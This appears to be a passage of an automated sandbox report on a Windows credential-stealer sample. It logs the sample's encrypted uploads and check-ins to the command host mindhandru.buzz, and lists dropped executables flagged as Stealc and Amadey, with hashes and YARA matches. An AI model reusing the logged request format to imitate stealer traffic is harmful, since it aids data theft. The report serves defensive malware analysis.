2024-12-26 11:52:05 UTC	15331	OUT	Data Raw: 2d 2d 51 52 4d 5a 43 36 34 36 4b 4a 45 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 38 41 44 35 37 36 46 34 39 43 45 33 30 37 42 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 51 52 4d 5a 43 36 34 36 4b 4a 45 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 51 52 4d 5a 43 36 34 36 4b 4a 45 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 51 52 4d 5a 43 36 34 36 4b 4a 45 4a 0d 0a Data Ascii: --QRMZC646KJEJContent-Disposition: form-data; name="hwid"D8AD576F49CE307BBEBA0C6A975F1733--QRMZC646KJEJContent-Disposition: form-data; name="pid"1--QRMZC646KJEJContent-Disposition: form-data; name="lid"PsFKDg--pablo--QRMZC646KJEJ
2024-12-26 11:52:05 UTC	15331	OUT	Data Raw: ef ee db 17 49 97 6b 4f d0 92 61 fe 62 81 2e a5 7f bd 5f 9c a5 98 06 aa ff f6 50 68 18 72 3e b6 d8 39 e2 fa 34 da 37 d1 9d 1e be ae 5d d2 c1 5a 8c 07 ba 19 a3 b9 cb 1c 02 0e 5a 21 a0 5c 05 29 51 26 fa ee 43 8f 3c f4 5a 4a bb 6b cd f0 99 28 b2 7d 57 ce 92 03 8a 3c 8f ea 8e 57 a6 39 8a f6 25 69 f1 b8 16 9a 8c 58 14 c7 b3 be 4e 8f 8b 7b e4 28 69 c5 06 c0 be 3e a8 c6 0d b3 6c bc ea 40 7e 6a aa 1a 67 e5 c2 70 38 e6 2e f7 ae 9e d3 69 7e 28 ee fe 79 73 77 d4 ad a4 56 49 74 2f 41 65 28 12 a9 ca 5c 83 55 37 0b 40 f2 ff be f0 80 f1 cd 4c 4c 9d 6f 27 6f 17 23 cb 30 08 ca ae e4 0c 0d dc 65 34 55 64 1e c4 c0 8b b5 a5 3d b5 d4 05 6f ef ad 0f 52 7e b0 80 d2 f3 6b 72 8e a5 6e 49 4f ab af 34 9d 81 c0 7e 51 14 4d 60 58 90 f5 56 88 59 d1 ad cf 30 92 6b 68 df 8a 39 ca 7d bd Data Ascii: IkOab._Phr>947]ZZ!\)Q&C<ZJk(}W<W9%iXN{(i>l@~jgp8.i~(yswVIt/Ae(\U7@LLo'o#0e4Ud=oR~krnIO4~QM`XVY0kh9}
2024-12-26 11:52:05 UTC	15331	OUT	Data Raw: 52 5a 26 f1 be 90 42 72 aa ea f5 20 3e 6f fd 07 c6 fa f3 28 44 2b fb 5c cf 90 35 b6 e7 16 ea 9f 69 29 1b c9 8f d3 30 d1 aa c0 7c 1d 6f 96 13 80 b1 c3 e7 78 61 7b ab a8 92 bf 90 fe 7a c6 50 d6 fd a5 ec eb 65 a4 84 2e cb 0d 45 70 ff d9 3c 52 ba 01 66 01 e4 7b aa 55 0e 42 12 a0 79 dc fb 25 27 dd 0f 9d c6 c7 35 88 83 79 c5 d5 f8 1e 11 c2 57 41 71 bb 78 9e a9 d5 49 52 3a 20 63 63 11 7d 5e 43 1a 59 c0 f6 f5 fb 84 c5 bd a7 ba 59 ed c3 e8 ae 3b e2 de dc db f4 6d 57 88 90 2c 02 1e 06 86 1f b3 c1 34 ba 51 60 a3 78 7e a3 da c2 0e c3 46 7d 25 cc 98 ce 09 ad 78 7d 85 db cb a3 93 c9 ba 23 81 0f 06 03 cf df fd 73 69 d7 96 7b 46 2b 9b af 05 4e 05 d6 6f 4f 2a 0f 2b 47 2c f1 b0 ba 4c 04 3e fc 67 fd 4a 03 8b 96 c2 c2 dd 8e 2c ce b7 a4 34 3a a7 91 30 e3 ef c1 3d 82 83 80 1e Data Ascii: RZ&Br >o(D+\5i)0\|oxa{zPe.Ep<Rf{UBy%'5yWAqxIR: cc}^CYY;mW,4Q`x~F}%x}#si{F+NoO*+G,L>gJ,4:0=
2024-12-26 11:52:05 UTC	15331	OUT	Data Raw: b6 d5 0b a7 62 d8 fb 77 42 c3 f6 70 55 61 21 2e 0a 8a 19 8f 74 81 4b 3b 1c b0 93 2f 78 7d 8f 66 7e 21 35 fe d6 06 44 18 db 5d 12 bc c1 4c 0e 06 1c 48 38 a1 fb 47 e8 9f d1 35 df 09 10 c7 71 7a e5 0b 44 01 5c f7 fd 09 45 18 18 f9 6c 0a 88 bd 3e a6 a7 83 be c0 c8 b1 67 26 02 d6 96 b2 82 4b f7 8f fe 13 52 0c ec cf 4f 17 0f 66 1d c9 52 e8 d6 00 c7 1f 36 af 04 94 ad ca 67 95 1d 21 0e d4 ce 2c 4d 7c d1 07 58 4a 3d f7 05 4f b3 6b 8d f9 18 ab 71 a9 f1 77 59 7b 4a c3 8b 7c cb eb 10 28 a5 95 c8 9f e6 64 a2 a9 63 a3 a1 ef 55 12 4e 37 37 91 18 5d c1 1f 61 c4 da 00 a7 c4 15 87 36 45 76 2c 8c 3a 82 0c 0f 85 26 08 16 42 b5 ee 66 d4 70 61 b0 76 88 52 f1 f9 a0 36 7c e7 0a ea ef db 3a 7b a8 3f e1 84 43 ba 2b 2f 2f 22 40 81 84 ee 17 28 51 9d fd 37 63 11 50 57 85 9d 73 ce 91 Data Ascii: bwBpUa!.tK;/x}f~!5D]LH8G5qzD\El>g&KROfR6g!,M\|XJ=OkqwY{J\|(dcUN77]a6Ev,:&BfpavR6\|:{?C+//"@(Q7cPWs
2024-12-26 11:52:05 UTC	15331	OUT	Data Raw: 24 7f e3 8c 36 de 54 59 d0 a7 74 34 f5 14 d0 28 cd 52 00 05 99 2f 42 23 51 2f d3 72 58 4c af aa 6c dc db 37 10 56 86 1d 5c e2 a9 9c 88 74 9b 6f 6b e6 ef dd b8 11 3c e1 ba 4b b2 ef 98 41 81 d9 01 dc 6b 05 02 ee 1d b6 c3 44 17 01 60 2d db bc c0 ec 8f 42 24 9c 9c 46 ad f5 04 b4 0b 88 88 1b 19 5e 7d 2b 34 2b 40 b4 4d 2a b0 06 05 f6 ae 44 a5 8c ab 64 aa 21 ae 4f 05 e4 1e 91 29 d8 05 ec 4e a4 11 4c e1 54 13 32 21 bb 17 e3 55 f3 83 b0 da 1d a7 48 14 17 e4 e3 bb 84 22 0f 47 50 9d a6 b8 26 3f c9 d2 e2 b5 c4 7d a1 65 06 18 5d ff 5b 6f 8e 60 ed b8 75 fc 26 97 41 4a 96 c9 4f f0 16 83 e0 05 7e 3c c4 67 41 64 3e 36 40 a8 61 d7 cf 12 cf 4e bc 71 3d c2 b7 b0 c2 8a 53 f2 9a df 33 2b 75 40 98 73 0e 37 5d eb 24 c0 95 a6 1b a7 3d dc 4a 70 66 c6 3d ad ab a9 9c be eb 76 32 03 Data Ascii: $6TYt4(R/B#Q/rXLl7V\tok<KAkD`-B$F^}+4+@M*Dd!O)NLT2!UH"GP&?}e][o`u&AJO~<gAd>6@aNq=S3+u@s7]$=Jpf=v2
2024-12-26 11:52:05 UTC	15331	OUT	Data Raw: 2b 09 e0 ed 8d f7 dd a7 95 bb 5b 4e 05 a7 00 90 20 2b 33 76 71 36 ad 18 df 17 94 ed 6a 35 c6 73 48 ab c9 2f 80 a5 c4 27 f3 70 5f 81 16 e7 a6 4e 32 ca c0 0b 94 6e 37 ba ce 9e 3b c3 6c 58 3b 68 e7 79 d7 18 bf 39 fe be e8 43 75 27 e4 8e 68 1e f4 f0 56 74 7b e2 7d 32 9d 84 9f cf 5f 1d ae a8 74 6d 35 39 16 4e 1d f7 5b d9 fc fb f8 c1 b8 0a d9 0c 0e b8 cf 60 a6 d7 a7 af 67 56 d8 69 80 a5 47 bc 20 7f b0 5b 5b 7d ad 96 bf 4b 77 7e ad f9 95 a0 79 e8 60 cf 64 33 35 60 f3 37 1b 4d cf 1f d4 c4 42 8c c4 8b cc 20 f3 ed bd 85 f7 f2 87 36 2a c6 a3 b5 a9 c2 55 6b cc e4 54 5e 02 98 af 32 57 8b 1f 1c f2 7f 80 83 9b b1 cc 5d 80 21 fe d2 51 12 30 4b 3a b0 c1 17 f8 00 4d 12 4d df bf e6 0d 24 d0 06 c5 b8 39 76 15 4d 7c a6 6c f6 7d de 50 e4 d8 82 ec 2c 5b 9b ea 80 07 f6 14 ef 6e Data Ascii: +[N +3vq6j5sH/'p_N2n7;lX;hy9Cu'hVt{}2_tm59N[`gViG [[}Kw~y`d35`7MB 6*UkT^2W]!Q0K:MM$9vM\|l}P,[n
2024-12-26 11:52:05 UTC	15331	OUT	Data Raw: 2b 4b 44 bc e9 82 ed e6 3d ed 00 8c 1a 57 4f 08 80 d4 e8 f9 bb 1a d2 40 4c 17 98 82 d6 72 e0 21 6e 34 fc 88 5e bd b7 ef 22 5d 0c 04 a2 38 fd 61 74 14 90 b8 83 1b fb c1 b3 ec 07 61 d9 bf 20 86 08 fb 59 7c fe fe 85 a4 f1 ed 23 64 10 bd 32 3b 1f 0b 97 cb dd 40 d9 01 77 d9 30 31 60 97 9d 55 d0 da 8c bf 14 19 5f 8e f5 3a f9 b4 cd 51 7f ce 72 a4 3a e6 e6 24 4f 87 24 2c 25 b4 47 e4 4f 6f 0a 53 83 b0 59 b2 dd a6 33 43 4e 14 15 09 87 7b a2 cf 03 3c c4 3e 2d 85 e5 22 18 00 da d0 61 54 ee 41 8a e8 ab 6a 3f cb 88 5d 23 5c 1d 4f 9c 63 c3 31 d1 3c 02 77 ff 7c 37 fa a3 db 8c fd c3 47 ee 9b f6 48 45 22 e6 59 2e 9e 3b 39 2d 4f 22 10 8d 8d 85 79 b0 a6 6d 94 73 fc fc e5 0b e5 e5 9b 12 73 97 fb 6d ee 92 45 d8 07 e5 9a 9e c1 70 c4 24 7e 17 48 09 60 4a 09 b2 45 10 53 f9 4f b9 Data Ascii: +KD=WO@Lr!n4^"]8ata Y\|#d2;@w01`U_:Qr:$O$,%GOoSY3CN{<>-"aTAj?]#\Oc1<w\|7GHE"Y.;9-O"ymssmEp$~H`JESO
2024-12-26 11:52:05 UTC	15331	OUT	Data Raw: b0 bd 53 19 f1 07 ff 43 c3 67 f3 01 c1 27 9f 0f bc df 83 46 dc 13 90 32 09 0a 64 f1 d3 dc 20 ed 42 0c f5 15 04 57 ca a9 81 ee 84 33 a0 20 b5 57 13 0a 3a a4 58 20 0a fe c8 f5 c9 9d f4 71 1f 76 de 0f 1a 37 b7 fb a7 f5 e2 53 ce f0 cc bf b3 9b 59 80 ad 2e d2 df e3 b9 b0 d3 57 97 6d 32 9d 79 50 bd d9 ea 35 e9 a2 b2 51 20 9c 10 29 9b 1a 79 8f 6b 47 c7 d1 4f ce fb 26 25 f8 f2 0c 79 57 fc df 12 11 8f 9f 7e b6 f8 a9 00 f9 49 64 2b ff 31 e2 31 70 0c 51 89 4e 7f 33 42 79 7f d0 0e ee 94 61 c8 ce ee 40 5d 3b 1d 8f 22 f1 68 a0 2e 88 d4 8e 59 fb a1 cf cd 00 a2 8b 3c 42 39 d7 74 d4 08 5d 31 70 29 f9 f5 93 a7 ac ac dd 0a 93 7c 98 2d f4 bc 75 63 96 7a 12 39 69 4c 8c ab 33 01 bf 84 5f c4 af 4f cb 55 c5 79 c4 de 5a af 0a dd 89 79 cd db d6 70 ff cb 34 09 36 52 e5 10 f1 97 3c Data Ascii: SCg'F2d BW3 W:X qv7SY.Wm2yP5Q )ykGO&%yW~Id+11pQN3Bya@];"h.Y<B9t]1p)\|-ucz9iL3_OUyZyp46R<
2024-12-26 11:52:05 UTC	15331	OUT	Data Raw: 54 6b a3 13 61 3a 7d 68 45 8d 01 68 19 77 68 02 a0 d9 49 6e 6c 5d fe ee bd ee d0 a4 e5 f1 b8 fc 1c bb 94 2b 9f 8b 97 05 43 5a 27 47 c3 4f 2e 3c 7e b7 1b 51 d6 52 7f 69 f4 f3 ad 56 c1 97 a8 cb 05 37 17 56 17 c9 44 e4 c2 ff 1e b5 2c 43 2e 3a f7 6d 31 9a e5 8e 8c 7d 27 7c be fc 39 9b a7 f5 66 34 27 e1 3b 7b 63 34 91 b6 a2 c8 d8 c1 52 f0 20 0e 8f 4d ce 52 82 3f a8 30 d8 bf b8 71 e8 b4 28 38 55 4d cc 3c 73 cf 84 e7 29 c7 fa a1 29 2f 38 99 7a 30 2f 87 6f a1 6d d1 cd 91 fa 66 ab 24 7a 7e f5 15 81 37 59 fc c6 b7 eb 30 33 5a dd 63 cf ab 91 f7 55 b6 88 ec c3 76 1a dc 5f d6 61 54 55 f0 41 a7 4b 0f 89 c4 c5 aa 55 73 4d d8 31 6d 2a 47 bf bf 7c eb 73 eb c2 81 a0 8c 57 d7 25 e2 cf cc 32 9c 3f 13 28 aa 80 e9 2e 4f 56 b9 bf ca 57 c5 8d a1 65 a0 a9 bd fc 20 24 fd d5 94 db Data Ascii: Tka:}hEhwhInl]+CZ'GO.<~QRiV7VD,C.:m1}'\|9f4';{c4R MR?0q(8UM<s))/8z0/omf$z~7Y03ZcUv_aTUAKUsM1m*G\|sW%2?(.OVWe $
2024-12-26 11:52:05 UTC	15331	OUT	Data Raw: c1 41 65 54 3b 8a fd 38 1b ef 77 cd bc fe e2 b6 ff c9 0b c1 e7 af b4 d9 ab 69 2d be af 9a 85 2e d9 9d c5 1a a5 1b 14 9e 2b 15 7e 30 55 b6 6a f0 56 d3 d6 56 9c 25 ab b9 8f a9 94 ee 7a ed 94 76 9b 94 c3 79 29 3e 53 52 60 d0 72 5b 62 8c c3 87 3d d1 74 9f e5 5d e1 41 ef 16 b6 20 ec 55 76 8c 16 cd 58 f4 7e 6d d1 d2 ab 74 f3 63 43 83 e8 d6 69 39 c4 b9 48 ea 2a ef c0 8a 14 65 1c 47 4b 35 2e da 2c ce dd 28 f8 16 90 42 d1 e7 dc 7f d1 ec 91 2f f7 fc 7d ca d6 6d 76 ce e8 87 72 51 ae d7 ed 72 9b 3a 69 eb b3 36 66 ef e9 37 4b e7 6f 37 bf 7b f5 36 74 fa 51 4e fb 4a 88 e0 22 b3 2d 6b bf 65 ae 94 42 c5 15 21 72 b9 8d 38 f7 0d e2 c8 fc ab 97 53 6e 9f ac 67 57 24 ca 57 92 3b fd 2d 54 2e 58 04 57 bd 0b bb ee f1 ab a2 b0 c7 83 e9 a1 7e ec 57 e5 54 47 c5 52 88 68 ce fb 99 b0 Data Ascii: AeT;8wi-.+~0UjVV%zvy)>SR`r[b=t]A UvX~mtcCi9H*eGK5.,(B/}mvrQr:i6f7Ko7{6tQNJ"-keB!r8SngW$W;-T.XW~WTGRh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49836	172.67.165.185	443	3224	C:\Users\user\Desktop\ZBbOXn0a3R.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-26 11:52:07 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: mindhandru.buzz
2024-12-26 11:52:07 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 44 38 41 44 35 37 36 46 34 39 43 45 33 30 37 42 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=D8AD576F49CE307BBEBA0C6A975F1733
2024-12-26 11:52:08 UTC	1123	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:52:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cr2q0pshhu18t5fl0p18cq1doa; expires=Mon, 21 Apr 2025 05:38:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZvI58CBfM2uhqpNNHqFkN69epYV%2Fc3JP1JdBE2OdIigQ5kDN4Ag2%2B2TUnGG44BdHVRSBBKTyvfWsotyPPaagApnKJMXwTHptydFKw48x0Tj7wRWnBiAYiaLyKx25SLY9%2FJ4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f80dcea1ffdc461-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1598&min_rtt=1598&rtt_var=599&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=981&delivery_rate=1825000&cwnd=228&unsent_bytes=0&cid=256f1877b4eccf99&ts=766&x=0"
2024-12-26 11:52:08 UTC	222	IN	Data Raw: 64 38 0d 0a 68 46 78 57 43 32 57 39 7a 4a 53 43 52 50 4e 4b 6c 77 7a 71 74 77 56 6a 6c 6f 31 2b 4d 34 45 74 61 39 69 2b 50 73 74 71 78 70 37 66 4a 33 52 2b 52 34 66 75 2f 50 59 77 67 33 44 4c 49 37 61 59 4e 46 75 6a 6f 30 77 43 74 41 4e 61 36 59 30 51 2b 6c 79 61 73 66 63 6f 4d 32 6f 49 34 65 50 6d 34 79 71 58 4a 66 6f 69 6a 38 39 67 51 62 71 76 47 45 65 6a 46 31 76 30 6e 46 76 70 55 50 62 6a 71 43 64 30 66 6b 65 48 37 76 7a 32 4d 49 4e 77 79 79 4f 32 6d 44 52 62 6f 36 4e 4d 41 72 51 44 57 75 6d 4e 45 50 70 63 6d 72 48 70 4e 54 68 75 4f 5a 4b 2b 39 65 77 67 6e 43 65 35 61 5a 4c 53 4a 30 2b 30 36 77 6f 52 75 78 31 48 2b 74 73 63 38 56 71 37 77 77 3d 3d 0d 0a Data Ascii: d8hFxWC2W9zJSCRPNKlwzqtwVjlo1+M4Eta9i+Pstqxp7fJ3R+R4fu/PYwg3DLI7aYNFujo0wCtANa6Y0Q+lyasfcoM2oI4ePm4yqXJfoij89gQbqvGEejF1v0nFvpUPbjqCd0fkeH7vz2MINwyyO2mDRbo6NMArQDWumNEPpcmrHpNThuOZK+9ewgnCe5aZLSJ0+06woRux1H+tsc8Vq7ww==
2024-12-26 11:52:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	1
Start time:	06:51:02
Start date:	26/12/2024
Path:	C:\Users\user\Desktop\ZBbOXn0a3R.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\ZBbOXn0a3R.exe"
Imagebase:	0x1e0000
File size:	1'889'792 bytes
MD5 hash:	F0FBA5BD559287917D087AD594193AF4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.2759212408.0000000000E43000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.2746855415.0000000000E43000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.2729095318.0000000000E43000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.2675743273.0000000000E98000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.2673832624.0000000000E98000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.2759012924.0000000000E43000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	06:52:18
Start date:	26/12/2024
Path:	C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe"
Imagebase:	0x630000
File size:	5'169'664 bytes
MD5 hash:	97B80E7A522A3D40515E954A1FB4B428
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.2991645944.00000000011DD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.2988342509.0000000000631000.00000040.00000001.01000000.00000006.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	06:52:28
Start date:	26/12/2024
Path:	C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe"
Imagebase:	0x1000000
File size:	3'243'008 bytes
MD5 hash:	D297F9F22080C6F66B4E9C9156A6FF86
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.3086296651.0000000001001000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	06:52:34
Start date:	26/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x750000
File size:	3'243'008 bytes
MD5 hash:	D297F9F22080C6F66B4E9C9156A6FF86
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000002.3113044007.0000000000751000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	06:52:34
Start date:	26/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x750000
File size:	3'243'008 bytes
MD5 hash:	D297F9F22080C6F66B4E9C9156A6FF86
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000008.00000002.3114854961.0000000000751000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	06:53:00
Start date:	26/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x750000
File size:	3'243'008 bytes
MD5 hash:	D297F9F22080C6F66B4E9C9156A6FF86
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000009.00000002.3397023776.0000000000751000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Function 00E9A221 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.2912401012.0000000000E98000.00000004.00000020.00020000.00000000.sdmp, Offset: 00E98000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_e98000_ZBbOXn0a3R.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42990f1f1a55c2ac0e07fa6514a33e27d2aaf283a053cfc1516f12be004d9b2a
Instruction ID: 75f4daf6f27325a97e23e00e08d030a70ea2a82c3c8639a407a49b4427655832
Opcode Fuzzy Hash: 42990f1f1a55c2ac0e07fa6514a33e27d2aaf283a053cfc1516f12be004d9b2a
Instruction Fuzzy Hash: B24105B260C6019FE705EF28D8917EABBD2EF59320F19452DE5C5D7350E63698008793

Analysis Process: QA4B92LG0Q3PL6TE6NK36C44P92RH.exePID: 3472, Parent PID: 3224COMMON

Execution Graph

Execution Coverage:	3.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	1.6%
Total number of Nodes:	768
Total number of Limit Nodes:	24

Executed Functions

Function 0103652B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,0103652A,?,?,?,?,?,01037661), ref: 01036567

Memory Dump Source

Source File: 00000006.00000002.3086296651.0000000001001000.00000040.00000001.01000000.00000008.sdmp, Offset: 01000000, based on PE: true

Associated: 00000006.00000002.3086270686.0000000001000000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086296651.0000000001062000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086377192.0000000001069000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086402742.000000000106B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086432538.0000000001075000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086467334.0000000001076000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086498617.0000000001077000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086623774.00000000011D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086654959.00000000011DB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086687251.00000000011EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086687251.00000000011F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086749738.00000000011FC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086780106.0000000001200000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086811283.0000000001201000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086840737.0000000001203000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086874868.0000000001226000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086903924.0000000001227000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086931868.0000000001228000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086957746.0000000001229000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086985776.000000000122A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087016800.000000000123B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087048005.0000000001254000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087075910.0000000001259000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087102973.0000000001260000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087136032.0000000001261000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087162586.0000000001262000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087192004.0000000001267000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087227349.0000000001268000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087252532.000000000126E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087280897.0000000001276000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087307345.0000000001278000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087334634.0000000001279000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087360269.000000000127C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087396002.0000000001283000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087430158.0000000001284000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087455830.0000000001286000.00000080.00000001.01000000.00000008.sdmpDownload File
